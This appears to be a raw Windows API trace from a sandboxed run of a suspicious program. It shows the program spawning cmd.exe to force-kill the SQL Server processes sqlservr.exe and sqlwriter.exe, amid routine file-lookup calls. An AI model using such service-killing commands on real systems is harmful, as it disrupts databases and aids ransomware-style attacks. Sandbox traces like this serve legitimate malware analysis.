	[0034.345] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0x12440340, nSize=0x64 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0034.345] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x12448828 | out: lpFileInformation=0x12448828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0034.345] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x12440410, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0034.345] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x12448878 | out: lpFileInformation=0x12448878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0034.345] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0034.345] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x123edaa4 | out: lpMode=0x123edaa4) returned 0
	[0034.346] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4
	[0034.346] GetConsoleMode (in: hConsoleHandle=0xb4, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0034.346] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0
	[0034.346] GetConsoleMode (in: hConsoleHandle=0xb0, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0034.346] GetEnvironmentStringsW () returned 0x7eb348*
	[0034.346] FreeEnvironmentStringsW (penv=0x7eb348) returned 1
	[0034.346] GetCurrentProcess () returned 0xffffffff
	[0034.346] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1238e890, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1238e890*=0xc4) returned 1
	[0034.346] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1238e894, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1238e894*=0xc8) returned 1
	[0034.346] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1238e898, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1238e898*=0xac) returned 1
	[0034.347] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exe /c \"taskkill /f /im sqlservr.exe \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x400, lpEnvironment=0x12472c00, lpCurrentDirectory=0x0, lpStartupInfo=0x123edacc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xc4, hStdOutput=0xc8, hStdError=0xac), lpProcessInformation=0x123edaa8 | out: lpCommandLine="cmd.exe /c \"taskkill /f /im sqlservr.exe \"", lpProcessInformation=0x123edaa8*(hProcess=0xbc, hThread=0xb8, dwProcessId=0xb9c, dwThreadId=0xba0)) returned 1
	[0034.356] CloseHandle (hObject=0xb8) returned 1
	[0034.356] CloseHandle (hObject=0xac) returned 1
	[0034.356] CloseHandle (hObject=0xc8) returned 1
	[0034.356] CloseHandle (hObject=0xc4) returned 1
	[0034.356] CloseHandle (hObject=0xc0) returned 1
	[0034.356] CloseHandle (hObject=0xb4) returned 1
	[0034.356] CloseHandle (hObject=0xb0) returned 1
	[0034.356] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0
	[0034.735] SetEvent (hEvent=0xa8) returned 1
	[0034.735] GetExitCodeProcess (in: hProcess=0xbc, lpExitCode=0x123edbdc | out: lpExitCode=0x123edbdc*=0x80) returned 1
	[0034.735] GetProcessTimes (in: hProcess=0xbc, lpCreationTime=0x1238ce60, lpExitTime=0x1238ce68, lpKernelTime=0x1238ce70, lpUserTime=0x1238ce78 | out: lpCreationTime=0x1238ce60, lpExitTime=0x1238ce68, lpKernelTime=0x1238ce70, lpUserTime=0x1238ce78) returned 1
	[0034.735] CloseHandle (hObject=0xbc) returned 1
	[0034.735] SetEvent (hEvent=0x80) returned 1
	[0034.735] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x5) returned 0x102
	[0034.743] SetEvent (hEvent=0x80) returned 1
	[0034.744] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x12408680, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0034.744] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x123fcd28 | out: lpFileInformation=0x123fcd28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0034.744] CreateFileW (lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0034.744] GetFileAttributesExW (in: lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), fInfoLevelId=0x0, lpFileInformation=0x123fcd78 | out: lpFileInformation=0x123fcd78*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0034.744] CreateFileW (lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0034.744] GetFileAttributesExW (in: lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), fInfoLevelId=0x0, lpFileInformation=0x123fcdc8 | out: lpFileInformation=0x123fcdc8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0034.744] CreateFileW (lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0034.744] GetFileAttributesExW (in: lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), fInfoLevelId=0x0, lpFileInformation=0x123fce18 | out: lpFileInformation=0x123fce18*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0034.744] CreateFileW (lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0034.744] GetFileAttributesExW (in: lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), fInfoLevelId=0x0, lpFileInformation=0x123fce68 | out: lpFileInformation=0x123fce68*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0034.744] CreateFileW (lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0034.744] GetFileAttributesExW (in: lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), fInfoLevelId=0x0, lpFileInformation=0x123fceb8 | out: lpFileInformation=0x123fceb8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0034.745] CreateFileW (lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0034.745] GetFileAttributesExW (in: lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), fInfoLevelId=0x0, lpFileInformation=0x123fcf08 | out: lpFileInformation=0x123fcf08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0034.745] CreateFileW (lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0034.745] GetFileAttributesExW (in: lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), fInfoLevelId=0x0, lpFileInformation=0x123fcf58 | out: lpFileInformation=0x123fcf58*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0034.745] CreateFileW (lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0034.745] GetFileAttributesExW (in: lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), fInfoLevelId=0x0, lpFileInformation=0x123fcfa8 | out: lpFileInformation=0x123fcfa8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0034.745] CreateFileW (lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0034.745] GetFileAttributesExW (in: lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), fInfoLevelId=0x0, lpFileInformation=0x123fcff8 | out: lpFileInformation=0x123fcff8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0034.745] CreateFileW (lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0034.745] GetFileAttributesExW (in: lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), fInfoLevelId=0x0, lpFileInformation=0x123fd048 | out: lpFileInformation=0x123fd048*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0034.745] CreateFileW (lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0034.745] GetFileAttributesExW (in: lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), fInfoLevelId=0x0, lpFileInformation=0x123fd098 | out: lpFileInformation=0x123fd098*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0034.745] CreateFileW (lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0034.745] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0x12408750, nSize=0x64 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0034.745] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x123fd0e8 | out: lpFileInformation=0x123fd0e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0034.746] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x12408820, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0034.746] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x123fd138 | out: lpFileInformation=0x123fd138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0034.746] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbc
	[0034.746] GetConsoleMode (in: hConsoleHandle=0xbc, lpMode=0x123edaa4 | out: lpMode=0x123edaa4) returned 0
	[0034.746] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0
	[0034.746] GetConsoleMode (in: hConsoleHandle=0xb0, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0034.746] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4
	[0034.746] GetConsoleMode (in: hConsoleHandle=0xb4, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0034.747] GetEnvironmentStringsW () returned 0x7eb348*
	[0034.747] FreeEnvironmentStringsW (penv=0x7eb348) returned 1
	[0034.747] GetCurrentProcess () returned 0xffffffff
	[0034.747] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xbc, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x123d4f50, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x123d4f50*=0xc0) returned 1
	[0034.747] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x123d4f54, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x123d4f54*=0xc4) returned 1
	[0034.747] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x123d4f58, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x123d4f58*=0xc8) returned 1
	[0034.747] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exe /c \"taskkill /f /im sqlwriter.exe \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x400, lpEnvironment=0x12439800, lpCurrentDirectory=0x0, lpStartupInfo=0x123edacc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xc0, hStdOutput=0xc4, hStdError=0xc8), lpProcessInformation=0x123edaa8 | out: lpCommandLine="cmd.exe /c \"taskkill /f /im sqlwriter.exe \"", lpProcessInformation=0x123edaa8*(hProcess=0xb8, hThread=0xac, dwProcessId=0xbc0, dwThreadId=0xbc4)) returned 1
	[0034.755] CloseHandle (hObject=0xac) returned 1
	[0034.755] CloseHandle (hObject=0xc8) returned 1
	[0034.755] CloseHandle (hObject=0xc4) returned 1
	[0034.755] CloseHandle (hObject=0xc0) returned 1
	[0034.755] CloseHandle (hObject=0xbc) returned 1
	[0034.755] CloseHandle (hObject=0xb0) returned 1
	[0034.755] CloseHandle (hObject=0xb4) returned 1
	[0034.755] WaitForSingleObject (hHandle=0xb8, dwMilliseconds=0xffffffff) returned 0x0
	[0035.206] SetEvent (hEvent=0xa8) returned 1
	[0035.206] GetExitCodeProcess (in: hProcess=0xb8, lpExitCode=0x123edbdc | out: lpExitCode=0x123edbdc*=0x80) returned 1
	[0035.206] GetProcessTimes (in: hProcess=0xb8, lpCreationTime=0x123d76e0, lpExitTime=0x123d76e8, lpKernelTime=0x123d76f0, lpUserTime=0x123d76f8 | out: lpCreationTime=0x123d76e0, lpExitTime=0x123d76e8, lpKernelTime=0x123d76f0, lpUserTime=0x123d76f8) returned 1
	[0035.206] CloseHandle (hObject=0xb8) returned 1
	[0035.206] SetEvent (hEvent=0x80) returned 1
	[0035.206] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x5) returned 0x102
	[0035.210] SetEvent (hEvent=0x80) returned 1
	[0035.210] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x124404e0, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0035.210] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x124488c8 | out: lpFileInformation=0x124488c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0035.210] CreateFileW (lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0035.210] GetFileAttributesExW (in: lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), fInfoLevelId=0x0, lpFileInformation=0x12448918 | out: lpFileInformation=0x12448918*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0035.210] CreateFileW (lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0035.210] GetFileAttributesExW (in: lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), fInfoLevelId=0x0, lpFileInformation=0x12448968 | out: lpFileInformation=0x12448968*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0035.210] CreateFileW (lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0035.211] GetFileAttributesExW (in: lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), fInfoLevelId=0x0, lpFileInformation=0x124489b8 | out: lpFileInformation=0x124489b8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0035.211] CreateFileW (lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0035.211] GetFileAttributesExW (in: lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), fInfoLevelId=0x0, lpFileInformation=0x12448a08 | out: lpFileInformation=0x12448a08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0035.211] CreateFileW (lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
